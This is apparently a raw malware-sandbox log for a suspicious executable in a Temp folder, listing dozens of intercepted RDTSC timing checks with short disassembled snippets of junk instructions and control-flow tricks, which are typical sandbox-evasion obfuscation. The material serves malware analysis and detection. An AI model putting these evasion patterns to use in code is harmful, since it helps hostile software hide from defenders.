Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9B56C1 second address: 9B56C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9B5842 second address: 9B5883 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F0F38F95226h 0x0000000a popad 0x0000000b mov dword ptr [esp], esi 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007F0F38F95228h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 mov ecx, dword ptr [ebp+122D396Bh] 0x0000002e mov dword ptr [ebp+122D265Dh], ebx 0x00000034 nop 0x00000035 pushad 0x00000036 push eax 0x00000037 push edx 0x00000038 jbe 00007F0F38F95226h 0x0000003e rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9B5948 second address: 9B5962 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38729BBCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b js 00007F0F38729BBCh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9B5962 second address: 9B5988 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F0F38F95230h 0x0000000a jmp 00007F0F38F9522Ah 0x0000000f popad 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 pushad 0x00000015 jno 00007F0F38F95228h 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e pop eax 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9B5988 second address: 9B59B1 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0F38729BB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d jg 00007F0F38729BC2h 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push ebx 0x0000001a push edx 0x0000001b pop edx 0x0000001c pop ebx 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9B5B8C second address: 9B5B96 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0F38F95226h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9B5B96 second address: 9B5BE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b xor dl, 00000011h 0x0000000e push 00000004h 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007F0F38729BB8h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a mov edi, dword ptr [ebp+122D37EBh] 0x00000030 nop 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F0F38729BC4h 0x00000038 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9B5F55 second address: 9B5F80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38F95232h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov cx, di 0x00000010 push 0000001Eh 0x00000012 cld 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 js 00007F0F38F95226h 0x0000001d pop eax 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9B60E5 second address: 9B60EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9B60EB second address: 9B60EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9B60EF second address: 9B60F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9FA7A9 second address: 9FA7B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9FA7B1 second address: 9FA7BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F0F38729BB6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9FA7BC second address: 9FA7D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38F9522Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007F0F38F95226h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9FA7D4 second address: 9FA7D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9FA7D8 second address: 9FA7DE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9FAA49 second address: 9FAA4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9FAA4D second address: 9FAA5A instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0F38F95226h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9FAA5A second address: 9FAA64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9FE55D second address: 9FE561 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9FE561 second address: 9FE567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9FE567 second address: 9FE56C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9FE56C second address: 9FE582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F38729BBEh 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9FE582 second address: 9FE588 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A00DF6 second address: A00E1A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0F38729BB8h 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c jmp 00007F0F38729BC6h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A04CA2 second address: A04CA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A04CA6 second address: A04CDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F0F38729BB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F0F38729BC8h 0x00000011 popad 0x00000012 pushad 0x00000013 pushad 0x00000014 push eax 0x00000015 pop eax 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d jbe 00007F0F38729BB6h 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A04CDC second address: A04CE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A0501E second address: A0504C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0F38729BBCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b js 00007F0F38729BC3h 0x00000011 jmp 00007F0F38729BBDh 0x00000016 push eax 0x00000017 push edx 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a jnp 00007F0F38729BB6h 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A07555 second address: A0755A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 971300 second address: 97130A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F0F38729BB6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A0B986 second address: A0B9AF instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0F38F95226h 0x00000008 jl 00007F0F38F95226h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007F0F38F95233h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A0B9AF second address: A0B9BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jns 00007F0F38729BB6h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A0BF45 second address: A0BF4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A0BF4D second address: A0BF51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A0BF51 second address: A0BF6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F38F95234h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A0C0E6 second address: A0C0F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F0F38729BB6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A0C0F2 second address: A0C11F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F38F95231h 0x00000009 popad 0x0000000a pop edx 0x0000000b jl 00007F0F38F9523Bh 0x00000011 jmp 00007F0F38F9522Dh 0x00000016 push ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: 9B5E4E second address: 9B5E53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A0C26B second address: A0C271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A0C271 second address: A0C277 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A11045 second address: A11055 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007F0F38F95226h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A1035A second address: A1035E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A1035E second address: A10367 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A104E9 second address: A104FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F0F38729BB6h 0x0000000a popad 0x0000000b push esi 0x0000000c jnc 00007F0F38729BB6h 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A1064A second address: A1067F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38F9522Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0F38F9522Fh 0x00000010 jmp 00007F0F38F95233h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A1067F second address: A10689 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0F38729BB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A10B09 second address: A10B19 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0F38F95232h 0x00000008 je 00007F0F38F95226h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A10B19 second address: A10B21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A10B21 second address: A10B25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A18DAA second address: A18DAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A18DAF second address: A18DB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A18DB5 second address: A18DCE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F0F38729BC0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A190AD second address: A190B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A190B3 second address: A190BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F0F38729BB6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A190BD second address: A190DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F0F38F9522Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push esi 0x0000000e pushad 0x0000000f jns 00007F0F38F95226h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A190DE second address: A190EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F0F38729BB6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A19C82 second address: A19C92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F0F38F9522Eh 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A19C92 second address: A19C99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A19C99 second address: A19C9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A19C9F second address: A19CAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A19CAA second address: A19CAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A1A1CB second address: A1A1D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A1A49F second address: A1A4B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 ja 00007F0F38F95226h 0x0000000c je 00007F0F38F95226h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A1A4B3 second address: A1A4B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A232AC second address: A232B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A232B2 second address: A232B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A232B6 second address: A232BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A232BA second address: A232C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A232C4 second address: A232CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F0F38F95226h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A2256F second address: A22582 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F0F38729BBDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A22840 second address: A22844 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A22844 second address: A22862 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38729BBEh 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jc 00007F0F38729BB6h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A22862 second address: A2287B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38F95233h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A22A20 second address: A22A31 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 jc 00007F0F38729BB6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A22A31 second address: A22A46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jno 00007F0F38F95226h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A22CAC second address: A22CC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F38729BC0h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A22CC2 second address: A22CC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A22CC6 second address: A22CD0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A22CD0 second address: A22CDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F0F38F95226h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A22E55 second address: A22EAD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38729BBFh 0x00000007 jmp 00007F0F38729BC8h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007F0F38729BBDh 0x00000013 push eax 0x00000014 jmp 00007F0F38729BBDh 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F0F38729BBFh 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A22EAD second address: A22EB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A22EB1 second address: A22EB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A22EB7 second address: A22ED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F0F38F95233h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A22ED4 second address: A22EDE instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0F38729BB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A2B007 second address: A2B024 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F38F95237h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A291A5 second address: A291AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A291AE second address: A291B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A2930C second address: A29312 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	RDTSC instruction interceptor: First address: A29707 second address: A2970D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
